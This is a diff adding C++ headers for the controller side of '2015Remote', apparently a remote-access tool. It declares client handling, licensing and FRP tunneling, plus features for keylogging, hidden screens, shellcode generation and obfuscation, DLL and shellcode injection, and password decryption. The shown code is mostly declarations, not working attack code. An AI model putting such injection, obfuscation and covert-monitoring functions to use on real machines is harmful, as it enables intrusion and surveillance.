// 一对SOCKET服务端,监听端口: 同时监听TCP和UDP.
|
||||
class ServerPair
|
||||
{
|
||||
private:
|
||||
Server* m_tcpServer;
|
||||
Server* m_udpServer;
|
||||
public:
|
||||
ServerPair(int method=0, HWND hWnd = 0) :
|
||||
m_tcpServer(new IOCPServer(hWnd)),
|
||||
m_udpServer(method ? (Server*)new IOCPKCPServer : new IOCPUDPServer) {}
|
||||
virtual ~ServerPair()
|
||||
{
|
||||
SAFE_DELETE(m_tcpServer);
|
||||
SAFE_DELETE(m_udpServer);
|
||||
}
|
||||
|
||||
BOOL StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort);
|
||||
|
||||
void UpdateMaxConnection(int maxConn)
|
||||
{
|
||||
if (m_tcpServer) m_tcpServer->UpdateMaxConnection(maxConn);
|
||||
if (m_udpServer) m_udpServer->UpdateMaxConnection(maxConn);
|
||||
}
|
||||
|
||||
void Destroy()
|
||||
{
|
||||
if (m_tcpServer) m_tcpServer->Destroy();
|
||||
if (m_udpServer) m_udpServer->Destroy();
|
||||
}
|
||||
|
||||
void Disconnect(CONTEXT_OBJECT* ctx)
|
||||
{
|
||||
if (m_tcpServer) m_tcpServer->Disconnect(ctx);
|
||||
if (m_udpServer) m_udpServer->Disconnect(ctx);
|
||||
}
|
||||
};
|
||||
|
||||
#include "SplashDlg.h"
|
||||
|
||||
class CMy2015RemoteApp : public CWinApp
|
||||
{
|
||||
private:
|
||||
// 配置文件读取器
|
||||
config* m_iniFile = nullptr;
|
||||
// 服务端对象列表
|
||||
std::vector<ServerPair*> m_iocpServer;
|
||||
// 互斥量
|
||||
HANDLE m_Mutex = nullptr;
|
||||
// 启动画面
|
||||
CSplashDlg* m_pSplash = nullptr;
|
||||
|
||||
public:
|
||||
CMy2015RemoteApp();
|
||||
|
||||
CImageList m_pImageList_Large; // 系统大图标
|
||||
CImageList m_pImageList_Small; // 系统小图标
|
||||
|
||||
// 获取启动画面指针
|
||||
CSplashDlg* GetSplash() const
|
||||
{
|
||||
return m_pSplash;
|
||||
}
|
||||
void SetSplash(CSplashDlg* pSplash)
|
||||
{
|
||||
m_pSplash = pSplash;
|
||||
}
|
||||
BOOL ProcessZstaCmd();
|
||||
|
||||
virtual BOOL InitInstance();
|
||||
|
||||
config* GetCfg() const
|
||||
{
|
||||
return m_iniFile;
|
||||
}
|
||||
|
||||
int MessageBox(const CString& strText, const CString& strCaption = NULL, UINT nType = 0)
|
||||
{
|
||||
return m_pSplash ? m_pSplash->SafeMessageBox(strText, strCaption, nType) : ::MessageBox(NULL, strText, strCaption, nType);
|
||||
}
|
||||
|
||||
// 启动多个服务端,成功返回0
|
||||
// nPort示例: 6543;7543
|
||||
UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, const std::string& uPort, int maxConn, const std::string& method)
|
||||
{
|
||||
bool succeed = false;
|
||||
auto list = StringToVector(uPort, ';');
|
||||
auto methods = StringToVector(method, ';', list.size());
|
||||
for (int i=0; i<list.size(); ++i) {
|
||||
int port = std::atoi(list[i].c_str());
|
||||
auto svr = new ServerPair(atoi(methods[i].c_str()), m_pMainWnd->GetSafeHwnd());
|
||||
BOOL ret = svr->StartServer(NotifyProc, OffProc, port);
|
||||
if (ret == FALSE) {
|
||||
SAFE_DELETE(svr);
|
||||
continue;
|
||||
}
|
||||
svr->UpdateMaxConnection(maxConn);
|
||||
succeed = true;
|
||||
m_iocpServer.push_back(svr);
|
||||
}
|
||||
|
||||
return succeed ? 0 : -1;
|
||||
}
|
||||
|
||||
// 释放服务端 SOCKET
|
||||
void Destroy()
|
||||
{
|
||||
for (int i=0; i<m_iocpServer.size(); ++i) {
|
||||
m_iocpServer[i]->Destroy();
|
||||
}
|
||||
}
|
||||
|
||||
// 释放服务端指针
|
||||
void Delete()
|
||||
{
|
||||
for (int i = 0; i < m_iocpServer.size(); ++i) {
|
||||
SAFE_DELETE(m_iocpServer[i]);
|
||||
}
|
||||
m_iocpServer.clear();
|
||||
}
|
||||
|
||||
// 更新最大连接数
|
||||
void UpdateMaxConnection(int maxConn)
|
||||
{
|
||||
for (int i = 0; i < m_iocpServer.size(); ++i) {
|
||||
m_iocpServer[i]->UpdateMaxConnection(maxConn);
|
||||
}
|
||||
}
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
virtual int ExitInstance();
|
||||
|
||||
public:
|
||||
// 发送系统通知
|
||||
void PostNotify(const CString& title, const CString& msg) {
|
||||
if (m_pMainWnd && m_pMainWnd->GetSafeHwnd())
|
||||
m_pMainWnd->PostMessageA(WM_SHOWNOTIFY, (WPARAM)new CharMsg(title), (LPARAM)new CharMsg(msg));
|
||||
}
|
||||
};
|
||||
|
||||
extern CMy2015RemoteApp theApp;
|
||||
|
||||
CMy2015RemoteApp* GetThisApp();
|
||||
|
||||
config& GetThisCfg();
|
||||
|
||||
std::string GetMasterHash();
|
||||
|
||||
#define THIS_APP GetThisApp()
|
||||
|
||||
#define THIS_CFG GetThisCfg()
|
||||
BIN
server/2015Remote/2015Remote.rc
Normal file
BIN
server/2015Remote/2015Remote.rc
Normal file
Binary file not shown.
9276
server/2015Remote/2015RemoteDlg.cpp
Normal file
9276
server/2015Remote/2015RemoteDlg.cpp
Normal file
File diff suppressed because it is too large
Load Diff
484
server/2015Remote/2015RemoteDlg.h
Normal file
484
server/2015Remote/2015RemoteDlg.h
Normal file
@@ -0,0 +1,484 @@
|
||||
// 2015RemoteDlg.h : 头文件
|
||||
//
|
||||
|
||||
#pragma once
|
||||
#include "afxcmn.h"
|
||||
#include "TrueColorToolBar.h"
|
||||
#include "IOCPServer.h"
|
||||
#include <common/location.h>
|
||||
#include <map>
|
||||
#include <unordered_map>
|
||||
#include <mutex>
|
||||
#include <vector>
|
||||
#include <string>
|
||||
#include "WebService.h"
|
||||
#include "CListCtrlEx.h"
|
||||
#include "LangManager.h"
|
||||
#include "client/MemoryModule.h"
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
// 以下为特殊需求使用
|
||||
|
||||
// 是否在退出主控端时也退出客户端
|
||||
#define CLIENT_EXIT_WITH_SERVER 0
|
||||
|
||||
// 是否使用同步事件处理消息
|
||||
#define USING_EVENT 1
|
||||
|
||||
#include "UIBranding.h"
|
||||
#define VERSION_STR BRAND_VERSION
|
||||
|
||||
typedef struct DllInfo {
|
||||
std::string Name;
|
||||
Buffer* Data;
|
||||
~DllInfo()
|
||||
{
|
||||
SAFE_DELETE(Data);
|
||||
}
|
||||
} DllInfo;
|
||||
|
||||
typedef struct FileTransformCmd {
|
||||
CLock Lock;
|
||||
std::map<std::string, uint64_t> CmdTime;
|
||||
void PutCmd(const std::string& str)
|
||||
{
|
||||
Lock.Lock();
|
||||
CmdTime[str] = time(0);
|
||||
Lock.Unlock();
|
||||
}
|
||||
bool PopCmd(const std::string& str, int timeoutSec = 10)
|
||||
{
|
||||
Lock.Lock();
|
||||
bool valid = CmdTime.find(str) != CmdTime.end() && time(0) - CmdTime[str] < timeoutSec;
|
||||
CmdTime.erase(str);
|
||||
Lock.Unlock();
|
||||
return valid;
|
||||
}
|
||||
} FileTransformCmd;
|
||||
|
||||
#define ID_DYNAMIC_MENU_BASE 36500
|
||||
#include "HostInfo.h"
|
||||
#include "CGridDialog.h"
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
|
||||
enum {
|
||||
PAYLOAD_DLL_X86 = 0, // 32位 DLL
|
||||
PAYLOAD_DLL_X64 = 1, // 64位 DLL
|
||||
PAYLOAD_MAXTYPE
|
||||
};
|
||||
|
||||
class CSplashDlg; // 前向声明
|
||||
class CClientListDlg;
|
||||
class CLicenseDlg;
|
||||
class CSearchBarDlg;
|
||||
|
||||
#include "pwd_gen.h"
|
||||
|
||||
std::string GetDbPath();
|
||||
|
||||
typedef void (*contextModifier)(context* ctx, void* user);
|
||||
|
||||
bool IsDateGreaterOrEqual(const char* date1, const char* date2);
|
||||
|
||||
// V2 文件传输协议分界日期(>= 此日期的客户端支持 V2)
|
||||
#define FILE_TRANSFER_V2_DATE "Feb 27 2026"
|
||||
|
||||
// 前向声明
|
||||
class CMy2015RemoteDlg;
|
||||
extern CMy2015RemoteDlg* g_2015RemoteDlg;
|
||||
|
||||
// 检查客户端是否支持 V2 文件传输协议
|
||||
// 返回 true 需同时满足:1) 全局开关开启 2) 客户端支持 V2
|
||||
// 注意:m_bEnableFileV2 是 CMy2015RemoteDlg 的成员变量
|
||||
bool SupportsFileTransferV2(context* ctx);
|
||||
|
||||
// 服务端待续传的传输信息
|
||||
struct PendingTransferV2 {
|
||||
uint64_t clientID;
|
||||
std::vector<std::string> files;
|
||||
DWORD startTime;
|
||||
};
|
||||
|
||||
// 服务端待续传传输状态(transferID → 传输信息)
|
||||
extern std::map<uint64_t, PendingTransferV2> g_pendingTransfersV2;
|
||||
extern std::mutex g_pendingTransfersV2Mtx;
|
||||
|
||||
// CMy2015RemoteDlg 对话框
|
||||
class CMy2015RemoteDlg : public CDialogLangEx
|
||||
{
|
||||
public:
|
||||
static std::string GetHardwareID(int v=-1);
|
||||
_ClientList *m_ClientMap = nullptr;
|
||||
CClientListDlg* m_pClientListDlg = nullptr;
|
||||
CLicenseDlg* m_pLicenseDlg = nullptr;
|
||||
CSearchBarDlg* m_pSearchBar = nullptr; // 搜索工具栏
|
||||
BOOL m_bEnableFileV2 = FALSE; // V2 文件传输开关
|
||||
|
||||
// 构造
|
||||
public:
|
||||
CMy2015RemoteDlg(CWnd* pParent = NULL); // 标准构造函数
|
||||
~CMy2015RemoteDlg();
|
||||
// 对话框数据
|
||||
enum { IDD = IDD_MY2015REMOTE_DIALOG };
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
// 实现
|
||||
protected:
|
||||
HICON m_hIcon;
|
||||
void* m_tinyDLL;
|
||||
std::string m_superPass;
|
||||
BOOL m_needNotify = FALSE;
|
||||
DWORD g_StartTick;
|
||||
BOOL m_bHookWIN = TRUE;
|
||||
BOOL m_runNormal = FALSE;
|
||||
// 生成的消息映射函数
|
||||
std::string m_localPublicIP, m_localPrivateIP;
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
|
||||
afx_msg void OnPaint();
|
||||
afx_msg HCURSOR OnQueryDragIcon();
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
void SortByColumn(int nColumn);
|
||||
afx_msg VOID OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
static int CALLBACK CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort);
|
||||
template<class T, int id, int Show = SW_SHOW> LRESULT OpenDialog(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam;
|
||||
T* Dlg = new T(this, ContextObject->GetServer(), ContextObject);
|
||||
BOOL isGrid = id == IDD_DIALOG_SCREEN_SPY;
|
||||
BOOL ok = (isGrid&&m_gridDlg) ? m_gridDlg->HasSlot() : FALSE;
|
||||
Dlg->Create(id, ok ? m_gridDlg : GetDesktopWindow());
|
||||
|
||||
// Check if this is a web-triggered ScreenSpyDlg session - hide window if so
|
||||
Dlg->ShowWindow(Show);
|
||||
if (ok) {
|
||||
m_gridDlg->AddChild((CDialog*)Dlg);
|
||||
LONG style = ::GetWindowLong(Dlg->GetSafeHwnd(), GWL_STYLE);
|
||||
style &= ~(WS_CAPTION | WS_SIZEBOX); // 去掉标题栏和调整大小
|
||||
::SetWindowLong(Dlg->GetSafeHwnd(), GWL_STYLE, style);
|
||||
::SetWindowPos(Dlg->GetSafeHwnd(), nullptr, 0, 0, 0, 0,
|
||||
SWP_NOMOVE | SWP_NOSIZE | SWP_NOZORDER | SWP_FRAMECHANGED);
|
||||
m_gridDlg->ShowWindow(isGrid ? SW_SHOWMAXIMIZED : SW_HIDE);
|
||||
}
|
||||
|
||||
ContextObject->hDlg = Dlg;
|
||||
ContextObject->hWnd = Dlg->GetSafeHwnd();
|
||||
if (id == IDD_DIALOG_SCREEN_SPY) {
|
||||
EnterCriticalSection(&m_cs);
|
||||
m_RemoteWnds[Dlg->GetSafeHwnd()] = (CDialogBase*)Dlg;
|
||||
LeaveCriticalSection(&m_cs);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
VOID InitControl(); //初始控件
|
||||
VOID TestOnline(); //测试函数
|
||||
BOOL m_HasLocDB = FALSE;
|
||||
IPConverter* m_IPConverter = nullptr;
|
||||
VOID AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing,
|
||||
CString ver, CString startTime, std::vector<std::string>& v, CONTEXT_OBJECT* ContextObject);
|
||||
VOID ShowMessage(CString strType, CString strMsg);
|
||||
VOID CreatStatusBar();
|
||||
VOID CreateToolBar();
|
||||
VOID CreateNotifyBar();
|
||||
VOID CreateSolidMenu();
|
||||
// 通过菜单项ID查找子菜单(避免硬编码索引)
|
||||
CMenu* FindSubMenuByCommand(CMenu* pParent, UINT commandId);
|
||||
int m_nMaxConnection;
|
||||
BOOL Activate(const std::string& nPort, int nMaxConnection, const std::string& method);
|
||||
void UpdateActiveWindow(CONTEXT_OBJECT* ctx);
|
||||
void SendPendingRenewal(CONTEXT_OBJECT* ctx, const std::string& sn, const std::string& passcode, const char* source = nullptr);
|
||||
std::string BuildAuthorizationResponse(const std::string& sn, const std::string& passcode, const std::string& pwdHash, bool isV2Auth);
|
||||
// 生成续期信息,返回: (newPasscode, newHmac),如果不需要续期则返回空字符串
|
||||
std::pair<std::string, std::string> GenerateRenewalInfo(const std::string& sn, const std::string& passcode,
|
||||
const std::string& pwdHash, bool isV2);
|
||||
// 统一的授权验证函数,返回: (authorized, isV2, isTrail, expired)
|
||||
// expired=true 表示签名有效但已过期(可用于续期)
|
||||
// source: 验证来源 ("AUTH"=TOKEN_AUTH, "HB"=心跳)
|
||||
std::tuple<bool, bool, bool, bool> VerifyClientAuth(context* host, const std::string& sn,
|
||||
const std::string& passcode, uint64_t hmac, const std::string& hmacV2, const std::string& ip,
|
||||
const char* source = "AUTH");
|
||||
void SendMasterSettings(CONTEXT_OBJECT* ctx, const MasterSettings& m);
|
||||
void SendFilesToClientV2(context* mainCtx, const std::vector<std::string>& files, const std::string& targetDir = "");
|
||||
void SendFilesToClientV2Internal(context* mainCtx, const std::vector<std::string>& files,
|
||||
uint64_t resumeTransferID, const std::map<uint32_t, uint64_t>& startOffsets, const std::string& targetDir = "");
|
||||
void HandleFileResumeRequest(CONTEXT_OBJECT* ctx, const BYTE* data, size_t len);
|
||||
BOOL SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit);
|
||||
Buffer* m_ServerDLL[PAYLOAD_MAXTYPE];
|
||||
Buffer* m_ServerBin[PAYLOAD_MAXTYPE];
|
||||
Buffer* m_TinyRun[PAYLOAD_MAXTYPE] = {};
|
||||
MasterSettings m_settings;
|
||||
static BOOL CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject);
|
||||
static BOOL CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject);
|
||||
BOOL AuthorizeClient(context* ctx, const std::string& sn, const std::string& passcode, uint64_t hmac, bool* outExpired = nullptr);
|
||||
BOOL AuthorizeClientV2(context* ctx, const std::string& sn, const std::string& passcode, const std::string& hmacV2, bool* outExpired = nullptr);
|
||||
VOID MessageHandle(CONTEXT_OBJECT* ContextObject);
|
||||
VOID SendSelectedCommand(PBYTE szBuffer, ULONG ulLength, contextModifier cb = NULL, void* user=NULL);
|
||||
VOID SendAllCommand(PBYTE szBuffer, ULONG ulLength);
|
||||
// 显示用户上线信息
|
||||
CWnd* m_pFloatingTip = nullptr;
|
||||
// 记录 clientID(心跳更新)
|
||||
std::set<uint64_t> m_DirtyClients;
|
||||
// 待处理的上线/下线事件(批量更新减少闪烁)
|
||||
std::vector<context*> m_PendingOnline;
|
||||
std::vector<int> m_PendingOffline; // 存储端口号
|
||||
CListCtrlEx m_CList_Online;
|
||||
CListCtrl m_CList_Message;
|
||||
std::vector<context*> m_HostList; // 虚拟列表数据源(全部客户端)
|
||||
std::unordered_map<uint64_t, size_t> m_ClientIndex; // clientID -> m_HostList 索引映射
|
||||
std::vector<size_t> m_FilteredIndices; // 当前分组过滤后的索引列表
|
||||
std::set<std::string> m_GroupList;
|
||||
std::string m_selectedGroup;
|
||||
std::string m_v2KeyPath; // V2 密钥文件路径
|
||||
void RebuildFilteredIndices(); // 重建过滤索引
|
||||
context* GetContextByListIndex(int iItem); // 根据列表索引获取 context(考虑分组过滤)
|
||||
void LoadListData(const std::string& group);
|
||||
void DeletePopupWindow(BOOL bForce = FALSE);
|
||||
void CheckHeartbeat();
|
||||
context* FindHost(int port);
|
||||
context* FindHost(uint64_t id);
|
||||
context* FindHostNoLock(int port); // caller must hold m_cs lock
|
||||
context* FindHostNoLock(uint64_t id); // caller must hold m_cs lock
|
||||
bool RemoveFromHostList(context* ctx); // 从 m_HostList 中移除并更新索引
|
||||
|
||||
CStatusBar m_StatusBar; //状态条
|
||||
ULONGLONG m_ullStartTime = 0; // 程序启动时间 (GetTickCount64)
|
||||
CString m_strExpireDate; // 到期日期 (YYYYMMDD),空表示无授权
|
||||
CString m_strFrpAddr; // FRP 地址 (IP:Port),由上级提供
|
||||
void UpdateStatusBarStats(); // 更新状态栏统计信息
|
||||
CTrueColorToolBar m_ToolBar;
|
||||
CGridDialog * m_gridDlg = NULL;
|
||||
std::vector<DllInfo*> m_DllList;
|
||||
context* FindHostByIP(const std::string& ip);
|
||||
void InjectTinyRunDll(const std::string& ip, int pid);
|
||||
NOTIFYICONDATA m_Nid;
|
||||
HANDLE m_hExit;
|
||||
CRITICAL_SECTION m_cs;
|
||||
BOOL isClosed;
|
||||
|
||||
// DLL 请求限流 (每小时最多 4 次)
|
||||
std::map<std::string, std::vector<time_t>> m_DllRequestTimes; // IP -> 请求时间列表
|
||||
CRITICAL_SECTION m_DllRateLimitLock;
|
||||
bool IsDllRequestLimited(const std::string& ip);
|
||||
void RecordDllRequest(const std::string& ip);
|
||||
CMenu m_MainMenu;
|
||||
CBitmap m_bmOnline[51]; // 21 original + 4 context menu + 2 tray menu + 23 main menu
|
||||
uint64_t m_superID;
|
||||
std::map<HWND, CDialogBase *> m_RemoteWnds;
|
||||
FileTransformCmd m_CmdList;
|
||||
CDialogBase* GetRemoteWindow(HWND hWnd);
|
||||
CDialogBase* GetRemoteWindow(CDialogBase* dlg);
|
||||
void RemoveRemoteWindow(HWND wnd);
|
||||
void CloseRemoteDesktopByClientID(uint64_t clientID);
|
||||
CDialogBase* m_pActiveSession = nullptr; // 当前活动会话窗口指针 / NULL 表示无
|
||||
void UpdateActiveRemoteSession(CDialogBase* sess);
|
||||
CDialogBase* GetActiveRemoteSession();
|
||||
afx_msg LRESULT OnSessionActivatedMsg(WPARAM wParam, LPARAM lParam);
|
||||
static LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);
|
||||
HHOOK g_hKeyboardHook = NULL;
|
||||
enum {
|
||||
STATUS_UNKNOWN = -1,
|
||||
STATUS_RUN = 0,
|
||||
STATUS_STOP = 1,
|
||||
STATUS_EXIT = 2,
|
||||
};
|
||||
// FRP 多实例支持
|
||||
struct FrpInstance {
|
||||
HANDLE hThread = NULL;
|
||||
int status = STATUS_UNKNOWN;
|
||||
std::string serverAddr;
|
||||
};
|
||||
std::vector<FrpInstance> m_frpInstances;
|
||||
HMEMORYMODULE m_hFrpDll = NULL;
|
||||
typedef int (*FrpRunFunc)(char*, int*);
|
||||
FrpRunFunc m_frpRun = nullptr;
|
||||
static DWORD WINAPI StartFrpClient(LPVOID param);
|
||||
void ApplyFrpSettings();
|
||||
void InitFrpClients();
|
||||
void StopAllFrpClients();
|
||||
|
||||
#ifdef _WIN64
|
||||
// 本地 FRPS 服务器 (仅 64 位支持)
|
||||
HMEMORYMODULE m_hFrpsDll = NULL;
|
||||
typedef int (*FrpsRunSimpleWithTokenFunc)(char*, int, char*, char*, int, int*);
|
||||
FrpsRunSimpleWithTokenFunc m_frpsRunSimpleWithToken = nullptr;
|
||||
int m_frpsStatus = STATUS_UNKNOWN;
|
||||
HANDLE m_hFrpsThread = NULL;
|
||||
static DWORD WINAPI StartLocalFrpsServer(LPVOID param);
|
||||
bool InitLocalFrpsServer(); // 返回 true 表示已启动,需等待
|
||||
void StopLocalFrpsServer();
|
||||
#endif
|
||||
|
||||
// FRP 自动代理(由上级提供配置)
|
||||
struct FrpAutoConfig {
|
||||
bool enabled = false;
|
||||
std::string serverAddr; // 上级的 FRPS 地址
|
||||
int serverPort = 7000; // 上级的 FRPS 端口
|
||||
int remotePort = 0; // 上级分配的远程端口
|
||||
std::string expireDate; // YYYYMMDD 格式
|
||||
std::string privilegeKey; // 32字符(MD5) 或 ENC:xxx(编码的token)
|
||||
bool isEncodedToken = false; // true: privilegeKey 是编码的 token (官方FRP模式)
|
||||
};
|
||||
FrpAutoConfig m_frpAutoConfig;
|
||||
int m_frpAutoStatus = STATUS_UNKNOWN; // FRP 自动代理状态
|
||||
HANDLE m_hFrpAutoThread = NULL; // FRP 自动代理线程句柄
|
||||
static FrpAutoConfig ParseFrpAutoConfig(const std::string& config, bool heartbeat=false);
|
||||
// 获取有效的主控地址(优先使用上级FRP配置)
|
||||
// 返回值:是否使用了FRP地址
|
||||
static bool GetEffectiveMasterAddress(std::string& outIP, int& outPort, bool heartbeat=false);
|
||||
void StartFrpcAuto(const FrpAutoConfig& cfg);
|
||||
void StopFrpcAuto();
|
||||
void InitFrpcAuto(); // 启动时自动恢复
|
||||
bool CheckValid(int trail = 14);
|
||||
BOOL ShouldRemoteControl();
|
||||
afx_msg void OnTimer(UINT_PTR nIDEvent);
|
||||
afx_msg void OnClose();
|
||||
void Release();
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
afx_msg void OnExitSizeMove();
|
||||
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
|
||||
afx_msg void OnGetDispInfo(NMHDR* pNMHDR, LRESULT* pResult); // 虚拟列表数据回调
|
||||
afx_msg void OnOnlineMessage();
|
||||
afx_msg void OnOnlineDelete();
|
||||
afx_msg void OnOnlineUpdate();
|
||||
afx_msg void OnAbout();
|
||||
afx_msg void OnToolbarSearch();
|
||||
afx_msg void OnIconNotify(WPARAM wParam,LPARAM lParam);
|
||||
afx_msg void OnNotifyShow();
|
||||
afx_msg void OnNotifyExit();
|
||||
afx_msg void OnMainSet();
|
||||
afx_msg void OnMainExit();
|
||||
afx_msg void OnOnlineCmdManager();
|
||||
afx_msg void OnOnlineProcessManager();
|
||||
afx_msg void OnOnlineWindowManager();
|
||||
afx_msg void OnOnlineDesktopManager();
|
||||
afx_msg void OnOnlineAudioManager();
|
||||
afx_msg void OnOnlineVideoManager();
|
||||
afx_msg void OnOnlineFileManager();
|
||||
afx_msg void OnOnlineServerManager();
|
||||
afx_msg void OnOnlineRegisterManager();
|
||||
afx_msg VOID OnOnlineKeyboardManager();
|
||||
afx_msg void OnOnlineBuildClient();
|
||||
afx_msg LRESULT OnUserToOnlineList(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnUserOfflineMsg(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenFileManagerDialog(WPARAM wParam,LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenTalkDialog(WPARAM wPrarm,LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenShellDialog(WPARAM wParam,LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenTerminalDialog(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenSystemDialog(WPARAM wParam,LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenAudioDialog(WPARAM wParam,LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenRegisterDialog(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenServicesDialog(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenVideoDialog(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnHandleMessage(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenKeyboardDialog(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenHideScreenDialog(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenMachineManagerDialog(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenProxyDialog(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenChatDialog(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenDecryptDialog(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenFileMgrDialog(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenDrawingBoard(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT UPXProcResult(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT InjectShellcode(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT AntiBlackScreen(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT ShareClient(WPARAM wParam, LPARAM lParam);
|
||||
LRESULT assignFunction(WPARAM wParam, LPARAM lParam, BOOL all);
|
||||
afx_msg LRESULT AssignClient(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT AssignAllClient(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT UpdateUserEvent(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo);
|
||||
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
||||
int m_TraceTime = 1000;
|
||||
virtual LRESULT WindowProc(UINT message, WPARAM wParam, LPARAM lParam);
|
||||
afx_msg void OnOnlineShare();
|
||||
afx_msg void OnToolAuth();
|
||||
afx_msg void OnToolGenMaster();
|
||||
afx_msg void OnMainProxy();
|
||||
afx_msg void OnOnlineHostnote();
|
||||
afx_msg void OnHelpImportant();
|
||||
afx_msg void OnHelpFeedback();
|
||||
afx_msg void OnDynamicSubMenu(UINT nID);
|
||||
afx_msg void OnOnlineVirtualDesktop();
|
||||
afx_msg void OnOnlineGrayDesktop();
|
||||
afx_msg void OnOnlineRemoteDesktop();
|
||||
afx_msg void OnOnlineH264Desktop();
|
||||
afx_msg void OnWhatIsThis();
|
||||
afx_msg void OnOnlineAuthorize();
|
||||
void OnListClick(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnOnlineUnauthorize();
|
||||
afx_msg void OnToolRequestAuth();
|
||||
afx_msg LRESULT OnPasswordCheck(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg void OnToolInputPassword();
|
||||
afx_msg LRESULT OnShowNotify(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnShowMessage(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg void OnToolGenShellcode();
|
||||
afx_msg void OnOnlineAssignTo();
|
||||
afx_msg void OnNMCustomdrawMessage(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnRClickMessage(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnMsglogDelete();
|
||||
afx_msg void OnMsglogClear();
|
||||
afx_msg void OnOnlineAddWatch();
|
||||
afx_msg void OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnOnlineRunAsAdmin();
|
||||
afx_msg LRESULT OnShowErrMessage(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg void OnMainWallet();
|
||||
afx_msg void OnMainNetwork();
|
||||
afx_msg void OnToolRcedit();
|
||||
afx_msg void OnOnlineUninstall();
|
||||
afx_msg void OnOnlinePrivateScreen();
|
||||
CString m_PrivateScreenWallpaper; // 隐私屏幕壁纸路径
|
||||
CTabCtrl m_GroupTab;
|
||||
afx_msg void OnSelchangeGroupTab(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnObfsShellcode();
|
||||
afx_msg void OnOnlineRegroup();
|
||||
afx_msg void OnMachineShutdown();
|
||||
afx_msg void OnMachineReboot();
|
||||
afx_msg void OnExecuteDownload();
|
||||
afx_msg void OnExecuteUpload();
|
||||
afx_msg void OnMachineLogout();
|
||||
void MachineManage(MachineCommand type);
|
||||
afx_msg void OnDestroy();
|
||||
afx_msg void OnToolGenShellcodeBin();
|
||||
afx_msg void OnShellcodeLoadTest();
|
||||
afx_msg void OnShellcodeObfsLoadTest();
|
||||
afx_msg void OnObfsShellcodeBin();
|
||||
afx_msg void OnShellcodeAesBin();
|
||||
afx_msg void OnShellcodeTestAesBin();
|
||||
afx_msg void OnToolReloadPlugins();
|
||||
afx_msg void OnShellcodeAesCArray();
|
||||
afx_msg void OnParamKblogger();
|
||||
afx_msg void OnOnlineInjNotepad();
|
||||
afx_msg void OnParamLoginNotify();
|
||||
afx_msg void OnParamEnableLog();
|
||||
afx_msg void OnParamPrivacyWallpaper();
|
||||
afx_msg void OnParamFileV2();
|
||||
afx_msg void OnParamRunAsUser();
|
||||
void ProxyClientTcpPort(bool isStandard);
|
||||
afx_msg void OnProxyPort();
|
||||
afx_msg void OnHookWin();
|
||||
afx_msg void OnRunasService();
|
||||
afx_msg void OnHistoryClients();
|
||||
afx_msg void OnBackupData();
|
||||
afx_msg void OnPluginRequest();
|
||||
afx_msg void OnChangeLang();
|
||||
